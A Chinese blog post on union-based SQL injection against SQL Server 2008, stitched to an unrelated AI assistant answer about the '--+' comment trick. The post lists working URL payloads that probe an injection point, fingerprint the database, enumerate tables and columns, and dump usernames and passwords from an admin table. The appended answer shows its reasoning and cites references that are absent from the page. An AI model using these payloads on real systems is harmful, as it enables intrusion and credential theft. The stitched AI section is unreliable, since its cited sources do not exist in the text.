SQL注入--sql server

本文介绍SQL注入的基础原理及实战步骤,包括如何判断注入点、确定数据库类型、获取数据库信息等,详细展示了针对SQL Server 2008的具体操作流程。

谈到SQL注入,不得不提它的本质,把用户的输入数据当做代码来执行。两个关键条件,第一个是用户能够控制的输入;第二个是程序要执行的代码,拼接了用户输入的数据

按照注入的技术类型可分解为:

显错注入和盲注入,其中盲注入可分为,联合查询注入,堆查询注入,DNS查询注入,报错注入,延时注入和布尔注入。这篇文章重点在分享一些联合查询注入的命令


1.首先来判断注入点(URL类)

当目标URL为:www.target.com/1.php?id=88时,来进行简单的注入点判断;

www.target.com/1.php?id=88-0 无变化
www.target.com/1.php?id=88-1 报错


www.target.com/1.php?id=88 and 1=1 无变化
www.target.com/1.php?id=88-1 and 1=2 报错

2.判断是何种数据库
URL+/*!%20s*/ 错误则是MySQL;URL+/*pc 正常为MySQL

URL+and exists(select @@version)-- 正常为SQL Server

3.SQL Server 2008注入过程

判断字段数:

id=1/**/Order/**/By/**/5/**/-- 正常则字段数≥5      --和/**/均为注释用来注释执行语句时的代码 保证注入代码正常执行
id=1/**/Order/**/By/**/6/**/-- 错误则字段数<6

判断数据类型,字符型就可以SQL注入了

id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--   正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--    正常
(一位一位去尝试)

显示数据库版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--

当前库名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--

指定库表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from库名..sysobjects where xtype='u' and name not in(select top 0 name from 库名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--

当前库查询表

and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--     //第二个top从0开始输入 1,2,....列出当前库所有表名

查询admin变内的字段

d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二个top从0开始遍历

查看admin变字段id,username,password的内容

id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--

webshell写入和系统命令执行就不能再分享了





<think>首先,用户的问题是:我想了解SQL注入中 '--+' 的含义。用户提供了几个引用,我必须参考这些引用来回答。 回顾系统级指令: - 所有行内数学表达式用$...$格式。 - 独立公式用$$...$$格式。 - 使用中文回答。 - 生成相关问题。 - 引用段落末尾添加引用标识,如[^1]。 用户提到的引用: - 引用[1]:字符型注入示例。 - 引用[2]:测试语句解释。 - 引用[3]:详细介绍 '--+' 和 '#' 的区别。 - 引用[4]:关于Cookie的定义,不相关。 关键引用是引用[3],因为它直接解释 '--+' 的含义。 从引用[3],我可以总结: - '--+' 用于注释掉SQL语句的后续部分。 -SQL注入中,它用于避免语法错误,使注入的恶意代码生效。 - '+' 代替空格,因为空格可能被过滤或需要编码。 - 它类似于 '%23'(#的编码),但 '--+' 有更好的兼容性。 用户的问题具体是:'--+' 的含义。 结构回答: - 解释 '--+' 是什么。 - 说明其在SQL注入中的作用。 - 提供示例。 - 末尾添加引用。 - 最后,生成相关问题。 使用中文回答。 回答结构: 1. 清晰定义:'--+' 是SQL注入中的一种注释符号。 2. 功能:用于注释掉SQL语句剩余部分,使注入的条件生效。 3. 为什么用 '+':'+' 编码为空格,避免空格被过滤。 4. 示例:如引用[3]中的。 5. 引用添加:在相关段落末尾。 6. 生成相关问题。 生成相关问题: - 基于主题:SQL注入、注释技术、防范措施等。 - 参考系统示例:快速排序相关问题类似。 最终回答结构: - 先回答用户问题。 - 然后列出相关问题。 </think>### SQL注入中 '--+' 的含义 在SQL注入攻击中,'--+' 是一种用于**注释掉SQL语句后续部分**的特殊符号组合。它主要用于绕过应用程序的输入验证,使攻击者注入的恶意代码生效而不引起语法错误。以下是详细解释: 1. **基本功能**: - SQL注入时,攻击者需要在合法SQL查询中插入额外条件(如 `OR 1=1`),但原始查询可能有后续代码(如 `AND password='xxx'`)。 - '--' 是SQL的标准单行注释符(表示忽略其后的所有内容),但空格字符(` `)常被Web应用程序过滤或编码。"+" 在这里被用作空格的替代(URL编码中,"+" 等同于空格),因此 '--+' 组合起来等同于 `-- `(一个注释符后紧跟空格)。 - 例如,在引用[3]的示例中,注入 `--+` 后,SQL查询变为: ```sql SELECT * FROM users WHERE id='1' OR 1=1 -- +' AND password='xxx' ``` 其中 `-- +` 注释掉了 `' AND password='xxx'` 部分,使整个查询仅执行 `id='1' OR 1=1`(永真条件,绕过认证)[^3]。 2. **为什么使用 '+' 而不是空格**: - 在实际注入中,空格字符可能被Web应用防火墙(WAF)或输入过滤器拦截。"+" 是一种绕过机制,因为URL编码规则中,"+" 会被服务器解码为空格(例如,`%20` 是空格的编码,但 '+' 更常用于简化)。 - 这提高了注入的相容性,适用于多种数据库(如MySQL、Oracle、SQL Server),而其他注释符如 "#"(仅MySQL原生支持)可能受限[^3]。 3. **典型应用场景**: - 用于测试注入点是否存在(如引用[2]所示)。例如,输入 `?id=1' AND 1=1 --+`,如果页面正常返回,表明注入点有效且注释生效[^2]。 - 在字符型注入中(如引用[1]的后台SQL语句 `WHERE id=('$id')`),注入 '--+' 可闭合单引号并注释剩余部分,防止语法错误[^1]。 4. **注意事项**: - '--+' 不是唯一选择;在MySQL环境中,可使用 "#"(需编码为 `%23`),但 '--+' 通用性更强。 - 实际中,攻击者可能调整符号顺序(如 `--%20`)以适应不同过滤规则。 总之,'--+' 是SQL注入的一种关键注释技术,通过模拟空格确保注释生效,从而操控SQL逻辑。防范措施包括使用参数化查询和输入过滤[^3]。 如果您的查询涉及其他细节(如数据库类型或实战示例),请补充说明!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值